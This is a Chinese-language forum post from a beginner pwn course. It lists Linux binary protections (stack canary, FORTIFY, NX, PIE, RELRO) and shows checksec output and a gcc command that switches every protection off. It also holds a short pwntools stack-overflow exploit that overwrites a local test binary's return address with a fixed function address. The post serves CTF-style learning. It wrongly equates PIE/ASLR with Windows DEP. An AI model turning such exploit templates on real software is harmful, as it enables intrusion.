首页
社区
课程
招聘
Pwn 学习第三课打卡!

原提问者:
hackbs 2020-7-9

 

知识点:

  • ①CANNARY(栈保护) {用来保护栈溢出,Cannary found表示开了保护}
  • ②FORTIFY {比较冷门,防止缓冲区溢出}
  • ③NX(DEP) {不让执行ShellCode操作}
  • ④PIE(ASLR) {Win上称为DEP 地址空间分布随机化}
  • ⑤RELRO {设置符号重定向表格为只读,绑定所有动态符号,防止GOT攻击}

Linux下检查保护机制的命令:

1
2
3
4
5
6
7
8
9
checksec  test
 
[*'/home/lee/test'
        Arch:          i386-32-little
        RELRO:        Partial  RELRO
        Stack:        No  canary  found
        NX:              NX  disabled
        PIE:            No  PIE  (0x8048000)
        RWX:            Has  RWX  segments

关闭所有保护编译指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gcc  -no-pie  -fno-stack-protector  -z  execstack  -m32  -o  test  test.c
 
Exp:
from  pwn  import  *
#--------------------------------------
#init
testProcessHandle  =  process("./test")
 
#calc  ebp  offset
epbOffset  =  0x28  +  0x4
 
#exp  func  addresss
expAddress  =  0x08048456
 
#payload
payload  =  'A'  *  epbOffset  +  p32(expAddress)
#--------------------------------------
 
 
#  EntryPoint    Exp  Coding  By  Lee.
def  main():
        testProcessHandle.sendline(payload)
        testProcessHandle.interactive()
 
#  let's  go
if  __name__  ==  "__main__":
        main()
收藏
0条回答
零基础入门pwn
  参与学习     1802 人
  提问次数     36 个
《零基础入门pwn》,短时间内踏入漏洞利用的大门,快速成为一名合格的pwn题选手
我的问答 领取收益
0
我的提问
0
我的回答
0
学习收益